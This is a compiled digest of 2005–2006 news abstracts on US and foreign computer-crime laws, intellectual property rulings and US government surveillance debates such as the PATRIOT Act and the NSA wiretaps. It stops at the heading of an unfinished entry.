Canadian health officials have drafted a proposal that would ban Internet sales of prescription drugs to U.S. consumers and effectively destroy a $700 million industry that has become increasingly popular with patients in search of cheaper medicine. Within Canada's socialized medical system, the Canadian government sets drug prices lower than those charged in the U.S., and Canadian doctors now co-sign prescriptions for U.S. patients without examining them in person. The new proposal would prohibit prescriptions for foreigners who are not present in Canada. (AP/Los Angeles Times 6 Jan 2005)

47 US computer-crime laws

Category 47 *US computer-crime laws*

2005-05-23 **spyware malicious code House of Representatives bill**

EDUPAGE; http://news.com.com/2100-1028_3-5717658.html

HOUSE TAKES TWO STEPS AGAINST SPYWARE

The House of Representatives overwhelmingly passed two separate bills this week designed to address the growing problem of spyware. HR 29, introduced by Mary Bono (R-Calif.), would impose stiff fines on anyone found guilty of distributing computer code that results in browser hijacking, modifying bookmarks, collecting personal information without permission, and disabling security mechanisms. Violators can be fined as much as $3 million per incident. One of only four Representatives who voted against Bono's bill, Zoe Lofgren (D-Calif.) had introduced another bill, HR 744, that also prohibits installing spyware. Lofgren's bill, which passed 395 to 1, would impose fines and jail time to anyone found guilty. Both bills now go to the Senate, which failed to act on a spyware bill sent by the House last year. Senators have said they will not allow a similar situation this year. CNET, 23 May 2005

Category 47 *US computer-crime laws*

2006-01-25 **bogus spyware tool maker lawsuit Washington State Microsoft Secure Computer**

EDUPAGE; http://news.zdnet.com/2100-1009_22-6031108.html

LAWSUITS TARGET MAKER OF BOGUS SYPWARE TOOLS

The State of Washington and Microsoft have filed separate lawsuits against Secure Computer, a company they accuse of running a bogus antispyware racket. According to the complaints, Secure Computer used pop-up ads and other tools to tell computer users that their computers were infected with spyware and to offer a service, Spyware Cleaner, that would remove the unwanted software for $49.95. Microsoft and Washington Attorney General Rob McKenna said that the scan that supposedly revealed spyware was bogus and that the removal service in fact left computers more vulnerable to spyware. Moreover, the complaints contend that Secure Computer's messages implied that the service was in some way connected to or endorsed by Microsoft. The lawsuits allege that Secure Computer violated a recently enacted Washington Computer Spyware Act and three other laws. An attorney representing Secure Computer said the company was shocked at the legal action and would respond shortly.

Category 47 *US computer-crime laws*

2006-01-27 **legislation criminalization social engineering**

DHS IAIP Daily;
http://www.theregister.com/2006/01/27/schumer_phone_records/

NEW LEGISLATION WOULD CRIMINALIZE SOCIAL ENGINEERING.

New legislation proposed by Senator Chuck Schumer (D-NY) and backed by both major parties, seeks to criminalize both the practitioners and the dupes of "social engineering." Social engineering is a way of smooth-talking someone out of information they shouldn't normally impart, but it has been the most effective technique for scammers, hackers and private eyes over the years. Schumer's bill, the proposed Consumer Telephone Records Protection Act of 2006, makes disclosing a subscriber's phone records an offense. It specifically outlaws making false statements or providing phony documentation to a phone provider in order to obtain the records, and accessing an account over the Internet without the subscriber's authorization. According to the Electronic Privacy Information Center, over 40 Websites including celltolls.com and locatecell.com have been trading in a black market in call records.

Category 47 *US computer-crime laws*

2006-03-31 **Yahoo cybercrime law call legislation illegal use of technology**

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3926060 1,00.htm

YAHOO CALLS FOR EFFECTIVE CYBERCRIME LAWS.

Yahoo on Thursday, March 30, called for "effective" legislation combined with industry self-regulation, to deal with online fraud, child abuse, and other cybercrime. The Internet services giant called on policy makers to concentrate on defining illegal use of technology, rather than how an action breaks the law. "The lack of global legislation adds to the complexity of the situation. It's not realistic 17 to have global legislation, but we do need international consistency," said Robin Pembrooke, director of product operations for Yahoo Europe. Pembrooke advocated a combination of legislation and self-regulation of Internet businesses in order to combat cybercrime.

Category 47 *US computer-crime laws*

2006-04-21 **New York wireless security law minimum measures**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0 ,10801,110762,00.html?SKC=security−110762

NEW YORK COUNTY ENACTS WIRELESS SECURITY LAW.

Westchester County, NY, last week enacted a new law that requires local businesses to implement "minimum security measures" for protecting their wireless networks. The law, which is believed to be the first of its kind anywhere in the country, applies to all commercial businesses that collect customer information, such as Social Security numbers, credit card or bank account information, and that also have a wireless network. Also covered by the law are businesses that offer public Internet access. The mandate was introduced as a measure to protect consumers against identity theft and other types of computer fraud, according to a statement posted on the county's Website. Businesses that collect, store and use personal information have 180 days to comply with the law.

48.2 Non-US computer-crime laws

Category 48.2 Non-US computer-crime laws

2005-10-27 **international anti-terror law France Internet activity cybercafe Internet connection data log**

DHS IAIP Daily;
http://news.yahoo.com/s/afp/20051027/tc_afp/internetqaedaatt
acks;_ylt=Am7lXspeLmQoK7GhZWLisvr6VbIF;_ylu=X3oDMTBjMHVqMTQ4
BHNlYwN5bnN1YmNhdA−−

PROPOSED ANTI-TERROR LAW IN FRANCE SEEKS TO CURTAIL TERRORIST ACTIVITY CARRIED OUT ON THE INTERNET

One provision in the proposed law extends the period for which cybercafes have to keep records of Internet connection data. One method of cyber-jihad is the "dead letter box" system, wherein someone creates an e-mail account, gives the password to several members of a group and communicates by saving messages in a draft messages folder without sending them. This type of communication often cannot be monitored because government systems for tracking e-mails work only if someone sends an e-mail. Rebecca Givner-Forbes, an intelligence analyst at the Terrorism Research Center states that those behind some Websites promoting terrorism "…often use Japanese and Chinese upload Web pages because they don't ask for an e-mail address or any information from the person uploading a file." She says the most common method used by terrorist Websites is password-protected online message boards that only members can use. According to Givner-Forbes, "Most recently they have been leveraging the net more and more to circulate terrorist tactical instructions, training manuals, explosives recipes."

Category 48.2 Non-US computer-crime laws

2005-12-02 **EU European anti-terror law e-mail phone call log**

DHS IAIP Daily; http://www.siliconvalley.com/mld/siliconvalley/news/editoria
l/13312628.htm

TELECOM COMPANIES REQUIRED TO SAVE LOGS OF E-MAIL, PHONE CALLS UNDER EUROPEAN UNION ANTI-TERROR PLANS

European Union (EU) justice and interior ministers agreed Friday, December 2, on plans that would require telecommunications companies to retain records of phone calls and e-mails for a minimum of six months for use in investigations of terrorism and other serious crimes. Britain's Home Secretary Charles Clarke, who chaired the meeting, said the deal among the 25 European Union nations allowed governments to decide how long telecom companies in their nations should retain the data, as long as it was between six and 24 months. "We have agreed to a system which gives flexibility to member states who want to go further," Clarke told a news conference. Clarke said terrorist groups, drug dealers and people-trafficking gangs would better be targeted under the new rules. Clarke said he was optimistic the European Parliament would adopt the bill later this month -- meaning it could come into force next year. The data-tracking plan was among 12 priority measures EU governments are pushing through in the wake of July attacks on London's transportation system.

Category 48.2 Non-US computer-crime laws

2005-12-14 **EU European Parliament anti-terrorism rules phone Internet logs data storage two years**

DHS IAIP Daily; http://today.reuters.com/business/newsArticle.aspx?type=tele
comm&storyID=nL14475452

EUROPEAN UNION PARLIAMENT APPROVES RULES ON ANTI-TERRORISM DATA

The European Parliament on Wednesday, December 14, adopted new rules drawn up by the European Union (EU) to store phone and Internet data for up to two years to fight terrorism and other serious crime. The measure was approved in record time after being proposed by the European Commission in September, and is part of the 25-nation bloc's response to the terrorist attacks in Madrid in 2004 and in London this year. Britain, holder of the rotating EU presidency, hailed the adoption as a step forward in the fight against terrorism and organized crime. Europe's telecoms and Internet industries issued a joint statement, saying the new rules raised major concerns about technical feasibility and proportionality. "This directive will impose a significant burden on the European e-communications industry, impacting on its competitiveness," the statement said. The industry also said only 20 percent of e-mails would be covered since many service providers were based outside the bloc.

Category 48.2 *Non-US computer-crime laws*

2006-03-28 **Australia anti-spam code ISP responsibility compliance Hotmail Yahoo Web mail affected**

DHS IAIP Daily; http://www.electricnews.net/frontpage/news−9676885.html

AUSTRALIA TACKLES SPAM WITH NEW CODE.

Australia has cracked down on junk mail with what is believed to be the world's first industry code for tackling spam. Under the new code, Internet service providers (ISPs) will bear some of the responsibility for helping fight spam. Service providers must offer spam-filtering options to their subscribers and advise them on how to best deal with and report the nuisance mail. In addition to Australian ISPs, global e-mail operators like MSN Hotmail and Yahoo will be hit by the legislation.

Category 48.2 *Non-US computer-crime laws*

2006-04-19 **Australia antispam conviction new law world's most prolific spammer**

EDUPAGE; http://www.theregister.co.uk/2006/04/19/oz_spam_conviction/

AUSTRALIA CONVICTS SPAMMER UNDER NEW LAW

Wayne Mansfield, who has been identified by Spamhaus as one of the world's most prolific spammers, has become the first person convicted under a tough antispam law enacted in Australia in April 2004. Mansfield and his company, Clarity1, were accused of sending more than 56 million unsolicited e-mails in violation of the law. In his defense, Mansfield claimed that recipients of his e-mails had agreed to receive them. He also argued that because he harvested the addresses he used in his spamming prior to the antispam law's taking effect, they were exempt from the law. The judge in the case rejected both of those arguments and found Mansfield guilty. Mansfield will be sentenced later.

48.3 Non-US intellectual property laws

Category 48.3 *Non-US intellectual property laws*

2005-05-25 **Sweden MPAA ban illegal downloading intellectual property rights violation copyright infringement**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8606639

SWEDEN BANS DOWNLOADING COPYRIGHTED MATERIAL

Responding to pressure from entertainment industry groups, including the Motion Picture Association of America (MPAA), Sweden has made it a crime to download copyrighted material from the Internet. Previously, only uploading copyrighted works was illegal. The new law, which goes into effect July 1, allows consumers to make one copy of CDs for personal use and to copy newspapers. Those found guilty of violating the new law can be fined. The MPAA has said that governments in Scandinavian countries have been reluctant to take action against copyright piracy, though Swedish authorities did conduct a raid in March of this year in which several servers suspected of hosting copyrighted content for downloading were seized. Reuters, 25 May 2005

Category 48.3 *Non-US intellectual property laws*

2005-07-11 **intellectual property software patents European law**

RISKS; http://tinyurl.com/7zosm; http://webshop.ffii.org/ 23 94

EUROPEAN PARLIAMENT REJECTS SOFTWARE PATENT DIRECTIVE

Pete Mellor writes, "On 6 July 2005, the European Parliament decisively rejected the directive of the European Commission, which would have brought software into the patent system.

For those like me who have followed the argument about software patents over the last many years, this comes as a relief. I was first alerted to the potential damage of software patents many years ago when I heard Richard Stallman talk. He gave another set of seminars in London around two years ago. I find his arguments against software patents totally convincing."

Category 48.3 *Non-US intellectual property laws*

2006-01-25 **Microsoft license source code European Commission fine monopoly source code sharing anti-trust**

EDUPAGE; http://news.zdnet.com/2100-3513_22-6030879.html

MICROSOFT TO LICENSE SOURCE CODE

In an effort to avoid a stiff fine issued by the European Commission, Microsoft has agreed to license some of its source code. European antitrust regulators have found Microsoft guilty of abusing its monopoly power and have insisted on changes to the company's practices to address the violations, including offering a version of its operating system without the Microsoft Media Player and providing access to its source code to rivals so they can develop software that will properly interoperate with Windows computers. Microsoft met the first condition, but commissioners last month said that if the company continued to deny access to competitors, it would face a fine of nearly $2.5 million per day, retroactive to December 15 of last year. Microsoft is appealing the rulings against it but has said that while those appeals are pending, it will license the source code for its Windows Server System. The European Commission will review Microsoft's proposal before deciding whether to fine the company.

Category 48.3 *Non-US intellectual property laws*

2006-01-27 **British Phonographic Industry BPI illegal file sharing UK trial ruling**

EDUPAGE; http://news.bbc.co.uk/2/hi/entertainment/4653662.stm

BRITISH COURTS FIND IN FAVOR OF RECORDING INDUSTRY

In the first two cases of illegal file trading that went to trial in the United Kingdom, the High Court has ruled against two men, ordering them to pay damages to the British Phonographic Industry (BPI). The two defendants and three other individuals were accused of illegally sharing nearly 9,000 songs over the Internet. One defendant argued that there was no evidence against him. The court rejected that position and ordered him to make an initial payment of 5,000 pounds; his fine is expected to rise to at least 13,500 pounds. The other defendant said he did not know that what he was doing was illegal and pointed out that he sought no profit. A judge said that "Ignorance is not a defense" and ordered the man to make an initial payment of 1,500 pounds. The other three individuals have refused to settle and are awaiting trial. Officials from the BPI said the rulings were a "massive step forward" in their efforts to curb illegal file trading. Many of the other defendants in BPI lawsuits have settled out of court, but more than 50 cases remain outstanding. The BPI has given those individuals a deadline of January 31 to avoid court action.

Category 48.3 *Non-US intellectual property laws*

2006-03-16 **French legislation penalties copyright violation infringement intellectual property rights**

EDUPAGE; http://news.yahoo.com/s/afp/franceinternet

FRENCH OUTLINE PENALTIES FOR COPYRIGHT VIOLATIONS

Legislators in France have passed a law that criminalizes copyright violations stemming from bypassing copy protections. Some in the government had argued that making such copies should be allowed and that a tax added to the cost of CDs and DVDs could be used to compensate artists. Currently, an estimated 8 to 10 million computer users in France regularly download copyrighted songs and movies. That proposal was rejected in favor of a law that mirrors a directive issued in 2001 by the European Union. Under the new law, those found guilty of supplying software that allows users to bypass copy protections will face six months in prison and a fine of about $37,000. Those found guilty of using such software are subject to fines of between about $1,000 and $4,000.

Category 48.3 *Non-US intellectual property laws*

2006-03-21 **Creative Commons license Holland Netherlands court ruling precedent copyright intellectual property rights issues**

EDUPAGE; http://news.com.com/2100-1030_3-6052292.html

COURT AFFIRMS CREATIVE COMMONS LICENSE

A Dutch court has ruled that a publisher who used photographs protected by a Creative Commons license is subject to the terms of that license, marking what is likely the first case law pertaining to the Creative Commons. Former MTV VJ Adam Curry had posted photographs of his daughter on Flickr and assigned one of the Creative Commons license levels to those photos. A Dutch gossip magazine published those photos without Curry's permission, in violation of the terms of the license. The magazine argued that the licensing terms were unclear and that information about how to obtain further information about the license was not obvious. The court rejected that argument, saying the onus is on users of copyrighted content to understand the applicable license and obtain necessary permissions. According to Creative Commons Canada, the ruling sets an important precedent in that it affirms the Creative Commons licenses, which are a relatively new program for specifying usage rights, and that it holds users of protected content liable "even without expressly agreeing to, or having knowledge of, the conditions of the license."

Category 48.3 *Non-US intellectual property laws*

2006-03-22 **French legislation music monopoly Apple iTunes music piracy increase**

EDUPAGE; http://news.com.com/2100-1028_3-6052058.html

FRENCH LEGISLATORS TRY TO AVERT MUSIC MONOPOLY

Lawmakers in France's National Assembly, the country's lower house, have passed a bill that would require purveyors of digital music technologies to share access to those technologies, allowing cross-operation among files and players. The most obvious target of the legislation is Apple Computer, whose iPod device and iTunes music format are linked. Under the bill, users would be able to play iTunes songs on non-Apple music players, and iPods could be used to play music files in other formats, such as those from Sony or Microsoft. Apple responded to the move by saying that if passed by France's Senate, the law will only serve to increase music piracy. A spokesperson from Apple said if the law is passed, "music sales will plummet just when legitimate alternatives to piracy are winning over customers." Others noted that the law could slow innovation because it does not offer strong protections for intellectual property. French officials countered by saying the law would in fact increase sales of online music and that they hope other countries pass similar legislation.

Category 48.3 *Non-US intellectual property laws*

2006-03-22 **European Commission EC Microsoft anti-trust ruling source code sharing copyright intellectual property rights issues EU**

EDUPAGE; http://online.wsj.com/article/SB114302628720105056.html

MICROSOFT TO SUPPORT COMPETITORS

In its latest effort to comply with a March 2004 ruling by the European Commission (EC), Microsoft announced it would provide free, unlimited technical support to software companies developing products to work with Microsoft's server software. The 2004 antitrust ruling requires Microsoft to make its code available to rivals that want to develop products that run on Windows machines and compete with some of Microsoft's applications. Microsoft had previously offered 500 free hours of technical support and said it has also extensively updated the documentation for its products. In its latest announcement, Microsoft said the improved documentation along with unlimited support should address the EC's concerns. Jonathan Todd, spokesperson for the European Union (EU), said that the technical documentation appears to remain insufficient, noting that it should provide competitors with all the information they need and that they "should not be forced to rely on help from Microsoft staff." The EU, which is expected to issue a ruling some time in the next two weeks about Microsoft's compliance, could impose a fine of nearly $2.5 million per day, retroactive to December 15.

Category 48.3 *Non-US intellectual property laws*

2006-03-24 **Russian bill lawmakers anti-piracy intellectual property rights issues**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/14178447.htm

RUSSIAN BILL UPSETS ANTIPIRACY GROUPS

A bill being considered by Russian lawmakers has antipiracy groups up in arms, saying it would worsen the country's already terrible record of enforcing intellectual property rights. Russia's current laws include protections for rights holders, but enforcement of those laws is poor. Antipiracy groups say music and software piracy in Russia costs U.S. businesses $1.8 billion annually. The new bill would replace all existing statutes covering intellectual property. Olga Barannikova of the Coalition for Intellectual Property Rights said the bill is rife with problems and will lead to even more piracy rather than aid the country's antipiracy enforcement. "They may seem like small changes," she said, "but they will cause chaos." Barannikova faulted lawmakers for drafting the bill without consulting businesses or groups representing intellectual property rights.

Category 48.3 Non-US intellectual property laws

2006-04-12 **China rule software piracy economic development intellectual property rights**

EDUPAGE; http://news.bbc.co.uk/1/hi/technology/4902976.stm

CHINA ADOPTS NEW RULE TO ADDRESS SOFTWARE PIRACY

Following trade talks with the United States, Chinese authorities have issued a new guideline requiring PC manufacturers to load a licensed operating system on all computers before they leave the factory. Although an official from the State Copyright Bureau in China denied that the new regulation is in response to foreign pressure--insisting it was implemented for "the country's economic development"--China has long been seen as a haven for software pirates, with piracy rates as high as 90 percent. Under the new rule, computer makers must install legally licensed operating systems on all systems, and retailers who sell imported computers must do the same. Furthermore, computer manufacturers and vendors of operating systems must report the numbers of computers made and operating systems installed each year to the country's Ministry of Information Industry (MII). The MII also stated that software makers should provide "favorable pricing and qualified service" to computer manufacturers.

49.1 US government surveillance of citizens

Category 49.1 US government surveillance of citizens

2005-02-14 **Real ID Act privacy homeland security privacy licenses trojan**

NewsScan; http://news.com.com/From+high-tech+drivers+licenses+to+national+ID+cards/2100-1028_3-5573414.html

'SMART' DRIVER'S LICENSES A TROJAN HORSE?

A move by Congress to endorse a Republican-backed measure that would compel states to redesign their driver's licenses by 2008 to comply with standards for making them electronically readable has critics questioning government's motives, saying it gives the Department of Homeland Security carte blanche to do nearly anything "to protect the national security interests of the United States." Rep. Ron Paul (R-Texas) says, "Supporters claim it is not a national ID because it is voluntary. However, any state that opts out will automatically make nonpersons out of its citizens. They will not be able to fly or to take a train." Proponents of the Real ID Act say it reflects the recommendations of the 9/11 Commission and will help in the battle against terrorism and efforts to identify illegal immigrants. But Paul says, "In reality, this bill is a Trojan horse. It pretends to offer desperately needed border control in order to stampede Americans into sacrificing what is uniquely American: our constitutionally protected liberty." (CNet News.com 14 Feb 2005)

Category 49.1 US government surveillance of citizens

2005-04-01 **US government DHS tracking foreign international students visas US-VISIT privacy concerns surveillance**

EDUPAGE; http://www.fcw.com/article88459-04-01-05-Web

FEDS SET TO CHOOSE METHOD FOR TRACKING EXITING STUDENTS

Officials at the Department of Homeland Security are expected to issue a decision soon about the required procedure for foreign students who are leaving the United States. The US-VISIT program, which tracks visiting scholars and is designed to prevent terrorists from entering the country on student visas, lacks a consistent process for keeping tabs on individuals who leave the country. One proposal would require individuals to visit a kiosk at the airport, where they would be fingerprinted and photographed. Under another proposal, screening officers would take fingerprints and photos at airport gates and check them against the US-VISIT database. The third proposal would combine elements of the other two. The department is conducting a study of the three options, and a report is expected in a few weeks identifying which method will provide the greatest level of security without excessively interfering with convenience or impinging on privacy. Federal Computer Week, 1 April 2005

Category 49.1 US government surveillance of citizens

2005-04-29 **civil liberties privacy concerns USA PATRIOT Act renewal House Senate ACLU critical litigation**

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005042901t.htm

HEARINGS FOCUS ON LIBRARY PROVISIONS OF U.S.A.P.A.T.R.I.O.T. ACT

Amid both House and Senate hearings on whether to renew certain portions of the U.S.A.P.A.T.R.I.O.T. Act, supporters and critics of Section 215, which authorizes law enforcement to obtain records from libraries and other institutions, have lined up to voice their opinions. Section 215 allows gaining access to various types of records with only the approval of a secret court. Further, those whose information has been collected are barred from disclosing that fact, even to attorneys. Representatives of the American Civil Liberties Union (ACLU), which has been highly critical of the legislation, said they could support its renewal if several concessions were made, including limiting the authority to investigate only "agent[s] of a foreign power" and eliminating the gag order for those under investigation. Groups including the American Library Association said they supported the ACLU's recommendations. Rep. Howard Coble (R-N.C.) defended the law as it stands, saying there has been much "misinformation" about Section 215 and how it has been used. Kenneth L. Wainstein, U.S. attorney for the District of Columbia, said that the law has not been used to obtain records from libraries, though he acknowledged that it could be used that way in the future. Chronicle of Higher Education, 29 April 2005 (sub. req'd)

Category 49.1 *US government surveillance of citizens*

2005-05-06 **unit record database Department of Education personal information disclosure security break civil liberties privacy concerns**

EDUPAGE; http://chronicle.com/prm/weekly/v51/i35/35a03701.htm

PROPOSED DATABASE WORRIES SECURITY EXPERTS

Amid a rash of corporate and institutional data breaches recently, security experts are questioning whether a "unit record" database proposed by the Department of Education could be kept secure. Currently the department collects aggregate data on college students and graduation rates. A unit record database would track individual students through their college careers, presenting what some see as an extremely tempting target for hackers. The current system would force a hacker to "compromise several databases," according to Eugene Spafford, professor of computer sciences and electrical and computer engineering at Purdue University, whereas with a database like the one proposed, "it's possible to attack it from any point in the system." Barbara Simons, former president of the Association for Computing Machinery, was also concerned about a unit record database, suggesting that it might not be the safest way to accomplish the department's goals. Grover Whitehurst, director of the Institute of Education Sciences at the Education Department, said the agency is investigating security options for the proposed database and welcomes suggestions. He noted that the system might not use Social Security numbers as identifiers and said that if the information in the system were limited in scope, it would not be very appealing to hackers. Chronicle of Higher Education, 6 May 2005 (sub. req'd)

Category 49.1 *US government surveillance of citizens*

2005-06-15 **civil liberties privacy concerns USA PATRIOT Act powers limited US House of Representatives patron information disclosure**

EDUPAGE; http://www.wired.com/news/privacy/0,1848,67880,00.html

HOUSE VOTES TO LIMIT U.S.A.P.A.T.R.I.O.T. ACT

The U.S. House of Representatives has voted 238-187 to impose limits on the powers of the U.S.A.P.A.T.R.I.O.T. Act. Sponsored by Rep. Bernard Sanders (I-Vt.), the measure would eliminate federal authority granted by the U.S.A.P.A.T.R.I.O.T. Act to compel libraries and bookstores to disclose information about books their patrons have checked out or bought, without first obtaining a search warrant; the measure would preserve the right for government officials to obtain Internet search records from libraries.
Although Attorney General Alberto Gonzales recently told Congress that federal authorities have never invoked the power, a number of libraries have begun deleting patron records to preempt the possibility of having to turn them over. Sanders called the vote "a tremendous victory that restores important constitutional rights to the American people." Rep. Tom Feeney (R-Fla.) defended the powers, saying that federal authorities need tools to help them identify planned terrorist activities and prevent attacks before they happen. The measure has not been introduced by the Senate, and President Bush has promised to veto the bill if it passes. Wired News, 15 June 2005

Category 49.1 *US government surveillance of citizens*

2005-06-20 **USAPATRIOT Act surveillance search seizure constitutional rights warrants investigation counter-terrorism civil rights libraries reading**

RISKS; http://www.nytimes.com/2005/06/20/politics/20patriot.html? 23 91

LEOs MONITOR READING MATERIALS

Law enforcement officials have made at least 200 formal and informal inquiries to libraries for information on reading material and other internal matters since October 2001, according to a new study that adds grist to the growing debate in Congress over the government's counterterrorism powers. In some cases, agents used subpoenas or other formal demands to obtain information like lists of users checking out a book on Osama bin Laden. Other requests were informal -- and were sometimes turned down by librarians who chafed at the notion of turning over such material, said the American Library Association, which commissioned the study. [Source: Eric Lichtblau, *The New York Times*, 20 Jun 2005; Abstract by Peter G. Neumann]

Category 49.1 *US government surveillance of citizens*

2005-08-26 **civil liberties privacy concerns USA PATRIOT Act government surveillance Supreme Court decision Connecticut library FBI investigation ACLU lawsuit litigation**

EDUPAGE; http://www.nytimes.com/2005/08/26/politics/26patriot.html

FBI SEEKS LIBRARY RECORDS

According to the American Civil Liberties Union (ACLU), the FBI is using one of the powers granted by the U.S.A.P.A.T.R.I.O.T. Act to demand the records of a library in Connecticut. Because the U.S.A.P.A.T.R.I.O.T. Act also forbids disclosure of details surrounding such investigations, the name of the library in question is being kept confidential, though it is known to be a member of the American Library Association. At issue is the authority to subpoena library records using something called a national security letter, which does not require a judge's approval. The ACLU has filed a federal lawsuit on behalf of the library, saying "it should not be forced to disclose such records without a showing of compelling need and approval by a judge." Anthony D. Romero, executive director of the ACLU, said, "This is a prime example of the government using its U.S.A.P.A.T.R.I.O.T. Act powers without any judicial oversight to get sensitive information on law-abiding Americans." The FBI did not comment on the lawsuit, but the agency's national security letter noted that it was seeking the library records as part of an investigation "to protect against internal terrorism or clandestine intelligence activities." New York Times, 26 August 2005 (registration req'd)

Category 49.1 *US government surveillance of citizens*

2005-10-06 **privacy concerns USA PATRIOT Act American Library Association ALA brief**

EDUPAGE; http://chronicle.com/daily/2005/10/2005100601t.htm

MORE HINTS POINT TO IDENTITY OF CONNECTICUT LIBRARY

The American Library Association (ALA) has filed a court brief in the ongoing wrangling over a provision of the U.S.A.P.A.T.R.I.O.T. Act that prevents organizations under investigation from publicly speaking about the investigation. Under the terms of that law, federal authorities had sought information from a Connecticut library group, which has been forced to keep its identity secret. An article in the New York Times, though, said the Library Connection Inc., of Windsor, Conn., is the probable target of the investigation. According to the ALA's brief, because the Library Connection has refused to confirm or deny the story in the Times, it is clear that the speculation is correct. Further, because the identity has been guessed, keeping the group from speaking about the investigation is pointless, according to the brief. The brief states: "If the reporting is accurate, the information the government seeks to suppress has already been revealed, and the gag order serves no interest but that of silencing a citizen." Last month a judge ordered that the gag order be lifted, but an appeals court has reimposed the gag order pending its review of the case. Chronicle of Higher Education, 6 October 2005 (sub. req'd)

Category 49.1 *US government surveillance of citizens*

2005-11-11 **privacy concerns USA PATRIOT Act US government surveillance bill law Congress terrorism anti-terrorism**

EDUPAGE; http://chronicle.com/daily/2005/11/2005111101t.htm

CONGRESS EXAMINES CONTROVERSIAL PORTIONS OF U.S.A.P.A.T.R.I.O.T. ACT

Members of a Congressional committee this week took up discussions of the U.S.A.P.A.T.R.I.O.T. Act, including two highly controversial sections of the law. Several provisions of the law are scheduled to expire this year, and the committee is charged with reconciling House and Senate proposals to extend those provisions. Expected to be the focus of the discussions are Sections 215 and 505, which greatly expand federal authority to obtain information such as phone and library records on individuals and which prevent those under investigation from revealing, even to their attorneys, that they are under investigation. Advocates for civil liberties have been pressing federal officials for details on how these key sections of the law have been applied, including a letter recently sent by five U.S. Senators to Attorney General Alberto Gonzales, demanding data on how many so-called national security letters have been issued since the U.S.A.P.A.T.R.I.O.T. Act was enacted. Although federal officials have revealed few specifics, supporters of the legislation argue that "vigorous oversight by congressional committees has uncovered no instances of abuse," according to Sen. Pat Roberts (R-Kans.). Rep. John Conyers (D-Mich.) noted, "The very act of surveilling citizens who aren't even suspected of wrongdoing is an abuse in itself." Chronicle of Higher Education, 11 November 2005 (sub. req'd)

Category 49.1 *US government surveillance of citizens*

2005-11-18 **privacy concerns USA PATRIOT Act extension opposition US government surveillance bill law House Senate terrorism anti-terrorism**

EDUPAGE; http://chronicle.com/daily/2005/11/2005111801t.htm

REACTION TO EXPECTED EXTENSION OF U.S.A.P.A.T.R.I.O.T. ACT PROVISIONS

Groups opposed to two provisions of the U.S.A.P.A.T.R.I.O.T. Act up for review expressed disappointment at a tentative plan to extend both. The proposed extension was written by a conference committee charged with reconciling House and Senate versions of a bill covering the parts of the act that will otherwise expire at the end of the year. Under the plan, the provision that allows the government to issue so-called national security letters without a judge's approval would be made permanent and would allow for criminal prosecutions of individuals who reveal that they have received such a letter. The plan does not make changes to the second section of the act at issue, the library provision, that were included in the Senate bill. Those changes included requiring the government to demonstrate a connection between terrorists and individuals whose records were sought. The Senate bill also called for another review of the library provision in four years; under the proposal, it would not be reviewed for seven years. The plan does include limited concessions. Those who receive national security letters would be allowed to discuss them with their attorneys, and the government would be required to disclose certain details about how the national security letters are used. Chronicle of Higher Education, 18 November 2005 (sub. Req'd)

Category 49.1 *US government surveillance of citizens*

2005-11-23 **Center Disease Control Prevention US government agency federal regulation passenger tracking proposal surveillance privacy concern**

EDUPAGE; http://govhealthit.com/article91532-11-23-05-Web

CDC PROPOSES TRACKING PASSENGERS TO PREVENT PANDEMICS

The Centers for Disease Control and Prevention (CDC) proposed federal regulations to electronically track more than 600 million U.S. airline passengers a year traveling on more than 7 million flights through 67 hub airports. The proposed regulations are posted on the CDC's Web site and will be available for a 60-day comment period in the Federal Register starting November 30. They would require airlines, travel agents, and global reservation systems to collect personal information beyond that now collected by the Transportation Security Administration or the Homeland Security Department. The same rules would apply to passengers on international cruise lines and ferries that dock at U.S. ports. The CDC said that frustrations with attempts to track the SARS outbreak prompted the proposal, which is intended to allow the CDC to respond quickly to signs of a new pandemic. Federal Computer Week, 23 November 2005

Category 49.1 *US government surveillance of citizens*

2006-01-05 **US government surveillance privacy Web-tracking technologies NSA**

EDUPAGE; http://news.com.com/2100-1028_3-6018702.html
http://news.com.com/2100-1028_3-6018702.html
http://news.com.com/2100-1028_3-6018702.html

GOVERNMENT KEEPING TABS WHEN IT SHOULDN'T

Despite a federal directive forbidding the use of Web-tracking technologies for federal agencies, recent reports have shown that the majority of agencies do in fact employ permanent cookies or other tools that track users. The technologies can be used to identify repeat visitors to federal Web sites and sometimes to track users' surfing on nongovernmental sites. Last week, the Associated Press found that the National Security Agency was using permanent cookies (temporary cookies are allowed), a practice it has since discontinued. Separately, reporters at CNET News.com looked at the Web sites of all agencies listed in the U.S. Government Manual and evaluated what tracking tools they were using. Results showed dozens of agencies using tools that appear to contravene the directive, including sites for the military, cabinet departments, and election commissions. When contacted about the tracking tools, officials at many agencies reportedly said they were unaware that their sites used such technologies. Peter Swire, law professor at Ohio State University, who participated in the drafting of an earlier Web-tracking policy for the Clinton administration, said, "It's evidence that privacy is not being taken seriously."

Category 49.1 US government surveillance of citizens

2006-01-31 **EFF lawsuit AT&T NSA cooperation wiretap cooperation**

EDUPAGE;
http://news.yahoo.com/s/ap/20060201/ap_on_hi_te/domestic_spying_lawsuit

EFF SUES AT&T OVER COOPERATION WITH NSA

The Electronic Frontier Foundation (EFF) has filed suit against AT&T for allegedly cooperating with the National Security Agency (NSA) in eavesdropping on individuals without a warrant. President Bush ordered the wiretaps following the terrorist attacks of 2001 and has vigorously defended them, saying the Constitution and Congressional resolutions allow them. Civil liberties groups and others reject that, saying that the wiretaps violate existing laws on surveillance. The EFF said it identified AT&T as one company involved in the activities and has filed suit "to stop this invasion of privacy, prevent it from occurring again, and make sure AT&T and all the other carriers understand there are going to be legal and economic consequences when they fail to follow the law." The EFF alleges that AT&T provided the NSA with access to its network, which carries both voice and data, and to its vast databases that store information on phone calls and Internet activity. AT&T refused to comment on the litigation.

Category 49.1 US government surveillance of citizens

2006-02-08 **legislation bill forbid unnecessary data storage**

EDUPAGE; http://news.zdnet.com/2100-9595_22-6036951.html

BILL WOULD FORBID UNNECESSARY STORING OF DATA

